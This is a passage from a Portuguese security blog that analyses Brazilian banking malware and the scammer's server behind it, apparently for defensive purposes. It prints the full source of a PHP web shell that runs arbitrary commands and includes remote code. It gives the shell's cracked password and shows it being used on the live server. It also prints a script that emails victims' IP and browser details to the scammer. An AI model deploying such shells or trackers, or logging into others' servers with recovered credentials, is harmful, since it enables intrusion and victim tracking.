Buscando mais informações voltei para aquela última URL encontrada nas strings:</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
http://XXXXXX/cw/wp-includes/js/tinymce/themes/advanced/skins/default/topx.php</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">Tentei
listar o conteúdo da pasta onde estava a página php, isso seria
possível se não houvesse um arquivo index nela. Para a nossa sorte
realmente esqueceram do </span><b>index</b><span style="font-weight: normal;"> e foram listados todos os arquivos. </span> </div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6SxcbXHn6MuEX1WiNqOWk-XY7WC1O_19pTY-iMd9AjfZtu-sISvD6akw11Vv_RcZ2TPunxN1taRj5lDbNXaKNrH6i0O05yHJuSFZ-lgxP-wvirhO9_47OaoB9uwghJLNptZisHGLs3Pw/s1600/06-indexdesprotegido.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6SxcbXHn6MuEX1WiNqOWk-XY7WC1O_19pTY-iMd9AjfZtu-sISvD6akw11Vv_RcZ2TPunxN1taRj5lDbNXaKNrH6i0O05yHJuSFZ-lgxP-wvirhO9_47OaoB9uwghJLNptZisHGLs3Pw/s1600/06-indexdesprotegido.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwyMdV3dv22uDyovdm2r2AleK9sOTY-CjDe4jAeE61Slcb265cvtc1O6_bU2O8OMoDsqEEJjg5ujJMSkkNnRoMWnC1q59iZ6KTmCqMiTKQMkhiVPltI-MIuQgKoCdAzaeFUtZSm6qUPuc/s1600/06-indexdesprotegido.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-ezMC-D5Qt6E/TmYqv8Bd6XI/AAAAAAAAAI8/ReVNgbqfaJg/s1600/06-indexdesprotegido.jpg" style="margin-left: 1em; margin-right: 1em;"> </a></div>
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">Um
servidor web quando configurado para interpretar a linguagem de
programação PHP não exibe o código-fonte de um arquivo PHP e sim
interpreta a linguagem nele e mostra o resultado. Sendo assim mesmo a
pasta não tendo o index se clicarmos nos arquivos </span><b>plx.php</b><span style="font-weight: normal;"> e </span><b>topx.php</b><span style="font-weight: normal;"> não conseguiremos ver seu código-fonte. </span> </div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">Porém como vemos na listagem há também os arquivos </span><b>plx.txt.1</b><span style="font-weight: normal;"> e </span><b>topx.tar</b><span style="font-weight: normal;">
no mesmo diretório. Possivelmente são cópias dos arquivos originais e
como não estão com a extensão PHP podemos fazer download e ver todo seus
conteúdos. Isso é muita ingenuidade do golpista ou alguém já mexeu aí
antes.</span></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">Primeiramente analisando o arquivo </span><b>plx.php</b><span style="font-weight: normal;"> é possível notar que se assemelha a um terminal shell em PHP que permite realizar comandos no servidor.</span></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfo6GC2VxPi8LSk0AJ3y5-sDQrycOHSqB9kPdZpKh0kX6qDeLO3sNaVFqY-3QrNz9NShuL4ircw5BTxMQw2xYmdz4EuBRt1tnRnhINfeg63FseECeEXmC-qpYXLHw1iTvUC6udX1FRgKY/s1600/07-terminal-php.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfo6GC2VxPi8LSk0AJ3y5-sDQrycOHSqB9kPdZpKh0kX6qDeLO3sNaVFqY-3QrNz9NShuL4ircw5BTxMQw2xYmdz4EuBRt1tnRnhINfeg63FseECeEXmC-qpYXLHw1iTvUC6udX1FRgKY/s1600/07-terminal-php.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">Nota-se que possui um campo adicional chamado </span><b>Password</b><span style="font-weight: normal;">. Tentei alguns comandos mas não funcionaram, então precisaria de uma senha para funcionar. Fiz o download do </span><b>plx.txt.1</b><span style="font-weight: normal;"> e obtive todo o código-fonte PHP do arquivo:</span></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<pre style="background: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_TP0jhwRqWAKyIjGOZjSfJjb1x1Vgn7a3_tjqv827_ox2AOoRMAJsuZVergg2_-R3Jhyphenhyphenyd2ioPqRCzqVx-aqG7VfsW8kuUAB1CWvq1i0IDlHmTFGxC9JMy-ameKSUDw4ZAxIHtitlqqco/s320/codebg.gif") repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"><?php
$md5pass = "ce00f65608bced062b083079d4b1e69c";
$password = $_POST["password"];
$command = $_POST["command"];
$changedir = $_POST["changedir"];
$remotephp = $_GET["remotephp"];
if (empty($password)) $password = $_GET["password"];
if (!empty($password)) { if (md5($password) != $md5pass) $password = ""; }
else $password = "";
if (!isset($changedir) || empty($password)) {
@ $changedir = exec("pwd");
} else {
@ chdir("$changedir");
@ $changedir = exec("pwd");
if (empty($changedir)) { $changedir = "/"; }
}
if (!empty($command) && !empty($password)) {
$command = stripslashes($command);
$temp = explode(" ", $command);
if ($temp[0] == "cd") {
$temp = explode(";", $command);
$changedir = exec("$temp[0]; pwd");
if (empty($changedir)) { $changedir = "/"; }
$command = "";
if (isset($temp[1])) {
$command = $temp[1];
for ($loop = 2; isset($temp[$loop]); $loop++) { $command .= "; $temp[$loop]"; }
}
}
}
?>
<html>
<head>
<title>4843term</title>
</head>
<body bcolor="#FFFFFF" text="#000000">
<font face="Fixedsys">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td align="left" valign="top">
<form method="post" name="terminal" action="<?php echo $PHP_SELF; ?>" target="_self">
<?php if (empty($password)) { echo " Password:<br>\n"; } ?>
<input type="<?php if (!empty($password)) { echo "hidden"; } else { echo "password"; } ?>" name="password" size="50"<?php if (!empty($password)) echo " value=\"$password\""; ?>><?php if (empty($password)) { echo "<br><br>\n"; } ?>
Directory:<br>
<input type="text" name="changedir" size="50"<?php if (isset($changedir)) echo " value=\"$changedir\""; ?>><br><br>
Command:<br>
<input type="text" name="command" size="50">
<input type="submit" value="Execute"><br>
<input type="checkbox" name="stderr"<?php if (isset($stderr) || !isset($command)) echo " checked"; ?>> Enable stderr-trappin
</form>
</td>
<td align="left" valign="center">
<pre>
4843term by Havenard
Version 1.050501 [01/May/2005]
Contact : havenard@hotmail.com
IRC : irc.brasnet.org
01010000 01001110 01010111
</pre>
</td>
</tr>
</table>
<br>
<pre>
<?php
if (md5($password) == $md5pass) {
@ chdir("$changedir");
$safe_mode = (bool)ini_get("safe_mode");
if (!$safe_mode) {
if (!empty($command)) {
ob_start();
if (!isset($OS) || ($OS != "Windows_NT"))
@passthru("$command 2>&1");
else
@passthru("$command");
$output = ob_get_contents();
ob_end_clean();
if (!empty($output))
echo str_replace(">", ">", str_replace("<", "<", $output));
}
}
else {
echo "Due to SafeMode, it's unable to execute commands!\n";
echo "Machine informations:\n";
echo "PHP: ".phpversion()."\n";
echo "Server: $SERVER_SOFTWARE $SERVER_VERSION\n";
$uname = @posix_uname();
if (!empty($uname)) {
while (list($info, $value) = each($uname))
echo "$value ";
echo "\n";
}
$uids = @posix_getlogin();
$euids = @posix_getlogin();
$uid = @posix_getuid();
$euid = @posix_geteuid();
$gid = @posix_getgid();
if (!empty($uid))
echo "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)\n";
}
if (!empty($remotephp)) include($remotephp);
}
?>
</pre>
<script> document.terminal.command.focus(); </script>
</body>
</html>
</code></pre>
</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Vemos que autenticação dele se baseia em:</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
$md5pass = "ce00f65608bced062b083079d4b1e69c";</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
$password = $_POST["password"];</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
…</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
if (md5($password) == $md5pass) {</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
@ chdir("$changedir");</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
…</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Se
o MD5 do password digitado for igual ao MD5 que está no código-fonte
ele libera os comandos digitados. Então basta sabermos que caracteres
correspodem a esse MD5 e conseguiremos o acesso. Hoje em dia é muito
comum os sites com cracks de hashs MD5, uma rápida busca no Google por
esse MD5 me retornou a string referente a esse hash.</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNtF4cF83jG3SOCxBpmP-yBKyqEC8wTpAXo-tk6puulG4buqAw6VeJ9qyZ0PIoHFl-pvGVIFoN7kDq-TR7BTHqT5ipt_fUXCTp_zsI3MVmJgupC4BR6bsMYfX9ruJUU6mPA9DUMo2QWPs/s1600/08-md5-cracked.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNtF4cF83jG3SOCxBpmP-yBKyqEC8wTpAXo-tk6puulG4buqAw6VeJ9qyZ0PIoHFl-pvGVIFoN7kDq-TR7BTHqT5ipt_fUXCTp_zsI3MVmJgupC4BR6bsMYfX9ruJUU6mPA9DUMo2QWPs/s1600/08-md5-cracked.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-hYTT-GqwfNI/TmUqnoYWYjI/AAAAAAAAAIs/bpSzGVsMmqI/s1600/08-md5-cracked.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">ce00f65608bced062b083079d4b1e69c </span><b>aihdffa</b></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Inserindo esse password no shell PHP e o comando “ls -la” eis a saída:</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGiTmbWK_v7g5v5ry7JH4t6kIwsRaqpyyDH1bdjMtlysQMVm7m4c-C268TQsUqlaIBzXFeTLjXJmbl6E9RaulHTdlpCADj0za76j-gmCCaSp6NidsFSoVHQoieGPFFuXKKh_ms41XIuYw/s1600/09-terminal-ls.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGiTmbWK_v7g5v5ry7JH4t6kIwsRaqpyyDH1bdjMtlysQMVm7m4c-C268TQsUqlaIBzXFeTLjXJmbl6E9RaulHTdlpCADj0za76j-gmCCaSp6NidsFSoVHQoieGPFFuXKKh_ms41XIuYw/s1600/09-terminal-ls.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-JEAPAA7HKeI/TmUqoZwdetI/AAAAAAAAAIw/3FDgvTs7XsQ/s1600/09-terminal-ls.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Agora para ver o conteúdo do <b>topx.php</b> sem precisar baixar o arquivo tar basta darmos um “cat topx.php”.</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga0IAoysgz75rQAGPHs33MNBNqVkozmDxKI-1-DNrQiSi1gNZv9Ny3BGySRz3Ad47FGGj3TAXlOQXKuw_ch3zU2kiiswEzSeW4w6NyBW-N6oDHbGHXIq_r4hOg8jQ6Z0lwz_Kx4jxCDZY/s1600/10-terminal-cat.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="155" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga0IAoysgz75rQAGPHs33MNBNqVkozmDxKI-1-DNrQiSi1gNZv9Ny3BGySRz3Ad47FGGj3TAXlOQXKuw_ch3zU2kiiswEzSeW4w6NyBW-N6oDHbGHXIq_r4hOg8jQ6Z0lwz_Kx4jxCDZY/s400/10-terminal-cat.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-LwmvYtArz30/TmUqoxOPB6I/AAAAAAAAAI0/e0tpfgqfhN0/s1600/10-terminal-cat.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Aqui o conteúdo total do arquivo topx.php:</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br />
<pre style="background: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_TP0jhwRqWAKyIjGOZjSfJjb1x1Vgn7a3_tjqv827_ox2AOoRMAJsuZVergg2_-R3Jhyphenhyphenyd2ioPqRCzqVx-aqG7VfsW8kuUAB1CWvq1i0IDlHmTFGxC9JMy-ameKSUDw4ZAxIHtitlqqco/s320/codebg.gif") repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"><?php
$OSList = array
(
'Windows 3.11' => 'Win16',
'Windows 95' => '(Windows 95)|(Win95)|(Windows_95)',
'Windows 98' => '(Windows 98)|(Win98)',
'Windows 2000' => '(Windows NT 5.0)|(Windows 2000)',
'Windows XP' => '(Windows NT 5.1)|(Windows XP)',
'Windows Server 2003' => '(Windows NT 5.2)',
'Windows Vista' => '(Windows NT 6.0)',
'Windows 7' => '(Windows NT 7.0)',
'Windows 7' => '(Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT)',
'Windows ME' => 'Windows ME',
'Open BSD' => 'OpenBSD',
'Sun OS' => 'SunOS',
'Linux' => '(Linux)|(X11)',
'Mac OS' => '(Mac_PowerPC)|(Macintosh)',
'QNX' => 'QNX',
'BeOS' => 'BeOS',
'OS/2' => 'OS/2',
'Search Bot'=>'(nuhk)|(Googlebot)|(Yammybot)|(Openbot)|(Slurp)|(MSNBot)|(Ask Jeeves/Teoma)|(ia_archiver)'
);
foreach($OSList as $CurrOS=>$Match)
{
if (eregi($Match, $_SERVER['HTTP_USER_AGENT']))
{
break;
}
}
$useragent = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('|MSIE ([0-9].[0-9]{1,2})|',$useragent,$matched)) {
$browser_version=$matched[1];
$browser = 'IE';
} elseif (preg_match( '|Opera/([0-9].[0-9]{1,2})|',$useragent,$matched)) {
$browser_version=$matched[1];
$browser = 'Opera';
} elseif(preg_match('|Firefox/([0-9\.]+)|',$useragent,$matched)) {
$browser_version=$matched[1];
$browser = 'Firefox';
} elseif(preg_match('|Chrome/([0-9\.]+)|',$useragent,$matched)) {
$browser_version=$matched[1];
$browser = 'Chrome';
} elseif(preg_match('|Safari/([0-9\.]+)|',$useragent,$matched)) {
$browser_version=$matched[1];
$browser = 'Safari';
} else {
// browser not recognized!
$browser_version = 0;
$browser= 'other';
}
$ip = $_SERVER["REMOTE_ADDR"];
$to = "XXXXXXXXXXXXXXXXXXXXX";
$cabecalho ="From: ae (+Infect)";
$headers = "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: ++INFECT++ <no-reply@priv8.in>";
$conteudo.="<b>Navegador: </b>$browser $browser_version<br>$CurrOS<br> ";
@mail($to,"$cabecalho $ip $browser $browser_version ", "$conteudo", $headers);
Header("location: http://www.viacards.com.br")
?>
</code></pre>
<br /></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Ele
pega várias informações do computador da vítima: IP, browser, versão do
browser e sistema operacional. Envia por e-mail para o golpista
avisando que mais um caiu no golpe e por fim abre o site de cartões para
despistar.</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Os
outros dois executáveis que estavam no diretório seguiam o mesmo padrão
desse analisado, a única diferença é o IP inserido no <b>hosts</b> que nesse caso foi o <b>96.126.116.39</b>.</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Um golpe simples e antigo mas que os bankers brasileiros ainda utilizam. Por enquanto estamos livres dos rootkits na MBR. :) </div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">Creditos: Ronaldo P. Lima ( http://www.crimesciberneticos.com/ )</span></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Até a próxima pessoal!</div>
</div>
Jeferson de Oliveirahttp://www.blogger.com/profile/07519935423439055893noreply@blogger.com0tag:blogger.com,1999:blog-5153298879843594867.post-11756738828389832972012-12-29T18:37:00.003-08:002013-01-02T06:54:24.704-08:00Hacking Malware: 66 KB e muitos segredos<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Esse
caso inicia-se com a análise de um arquivo malicioso de apenas 66 KB e
termina com a descoberta de um grande esquema de distribuição de
malwares e envio de phishings envolvendo dezenas de servidores. </span> </div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Utilizaram-se
de criptografia para manter o esquema longe dos olhos de curiosos mas
mesmo assim foi possível descobri-lo. A vantagem de analisar malwares é
que geralmente em algum momento eles vão tentar “ligar pra casa” (call
home), isto é, tentar se conectar com algum servidor para atualização ou
envio de dados capturados, é aí que interceptamos e descobrimos as
informações mais interessantes.</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Então vamos começar com a análise!</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><b>Coleta e identificação do artefato</b></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Esse veio através de um phishing prometendo fotos inéditas da revista Playboy:</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnhLDX8gyIlXGaVCgl16sFagKifQa9SIpgVdNnmu6sR884Noo2U9LljgC0_j9QpSZbErUhlbv53VPkTojwgmUT61ERrVrLqeSo7c8ddiOfcFIsv1V_J0_cBHbIKw5sRirx74DGnbebTWQ/s1600/00-phishingl-cleo-pires.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnhLDX8gyIlXGaVCgl16sFagKifQa9SIpgVdNnmu6sR884Noo2U9LljgC0_j9QpSZbErUhlbv53VPkTojwgmUT61ERrVrLqeSo7c8ddiOfcFIsv1V_J0_cBHbIKw5sRirx74DGnbebTWQ/s1600/00-phishingl-cleo-pires.jpg" /></a></span></div>
<div class="separator" style="clear: both; font-family: inherit; text-align: justify;">
<span style="font-size: small;"><a href="http://4.bp.blogspot.com/-ABB3Z-36yV4/TkLXL4YgsTI/AAAAAAAAAFc/eNGZOD0_WCw/s1600/00-phishingl-cleo-pires.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Ao clicar no link do e-mail foi feito download do arquivo:</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><b>doxsc74635.zip</b> (MD5: 462fca2472b838992de865e303255f52)</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Ao ser descompactado gerou:</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><b>doxsc74635.com</b> (MD5: e26e1b50e94ed527bc30b39c1f50b550)</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Usando
o PEiD para identificar o arquivo foi encontrada a presença do
compactador UPX. Para removê-lo é muito fácil basta utilizar a opção
“-d” do próprio UPX:</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNa8x0wzif6heDA055Ywokbg4TgY5U7LGzl-hqGxTDLcBlnvubFPmwV4CtHbCRsj2PLP0tA6gUoMfnyeNVXTWtgWejgREeoOD70Z2g3skhAPjcpBt8eZApGYvq_X_RS_lqQZc5vjyv1EM/s1600/02-upx_unpacked.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNa8x0wzif6heDA055Ywokbg4TgY5U7LGzl-hqGxTDLcBlnvubFPmwV4CtHbCRsj2PLP0tA6gUoMfnyeNVXTWtgWejgREeoOD70Z2g3skhAPjcpBt8eZApGYvq_X_RS_lqQZc5vjyv1EM/s1600/02-upx_unpacked.JPG" /></a></span></div>
<div class="separator" style="clear: both; font-family: inherit; text-align: justify;">
<span style="font-size: small;"><a href="http://2.bp.blogspot.com/-fpNtjf9a0fs/TkLXMISKH-I/AAAAAAAAAFg/Yjr2W8saNJM/s1600/02-upx_unpacked.JPG" style="margin-left: 1em; margin-right: 1em;"><br />
</a></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Agora sim o arquivo estava pronto para a análise, o PEiD identificou a linguagem de programação utilizada como Borland Delphi.</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><b>Descobrindo segredos</b></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><b>Dica:</b> Na etapa da análise do malware estou utilizando o <b>IDA Pro 5.0 Freeware</b> em conjunto com o <b>OllyDbg</b>.
O Olly acho mais prático para realizar o debug do malware e o IDA é
muito melhor para visualizar as estruturas de código assembly, gerar
gráficos, editar, renomear funções e inserir comentários. Desta forma
uma ferramenta complementa a outra.</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Ao buscar pelas strings no malware a primeira coisa que me chamou atenção foram as strings criptografadas.</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyNXAB0BSV3lxj-sGytyvKYlrt1Vg0jcvIeHZ3ddEawzyaBqoWGlE0NC1uRsVKNLBgch89GgaRmHwPAiZpkgCAw6C3yphOvbsCkieG95bPNLxizY8bpvwcNP0g8_c28LkJP2LGqRUBmNU/s1600/04-strings_criptografadas.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyNXAB0BSV3lxj-sGytyvKYlrt1Vg0jcvIeHZ3ddEawzyaBqoWGlE0NC1uRsVKNLBgch89GgaRmHwPAiZpkgCAw6C3yphOvbsCkieG95bPNLxizY8bpvwcNP0g8_c28LkJP2LGqRUBmNU/s1600/04-strings_criptografadas.JPG" /></a></span></div>
<div class="separator" style="clear: both; font-family: inherit; text-align: justify;">
<span style="font-size: small;"><a href="http://2.bp.blogspot.com/-nB8FY2rCyVQ/TkLXNbluPWI/AAAAAAAAAFk/Q3McqfwGeiE/s1600/04-strings_criptografadas.JPG" style="margin-left: 1em; margin-right: 1em;"><br />
</a></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Já
sabendo bem como funciona esse processo de criptografia de strings
resolvi descriptografá-las antes de continuar. O método que utilizei foi
o de encontrar a função que realiza esse processo dentro do malware,
alterar o código assembly e colocar breakpoint no retorno para pegar o
resultado no debug. Para mais informações veja os slides ou o vídeo da
minha palestra “<span style="color: navy;"><span lang="zxx"><u><a href="http://www.crimesciberneticos.com/2011/04/palestra-no-gts-17-dia-1405-em-sp.html">Descriptografando </a><a href="http://www.crimesciberneticos.com/2011/04/palestra-no-gts-17-dia-1405-em-sp.html">Strings em Malware</a><a href="http://www.crimesciberneticos.com/2011/04/palestra-no-gts-17-dia-1405-em-sp.html">s</a></u></span></span>”.</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Adicionei
ao código do IDA em forma de comentários as strings obtidas em texto
simples no OllyDbg. Abaixo é possível ver como ficaram essas alterações
em azul mais claro:</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
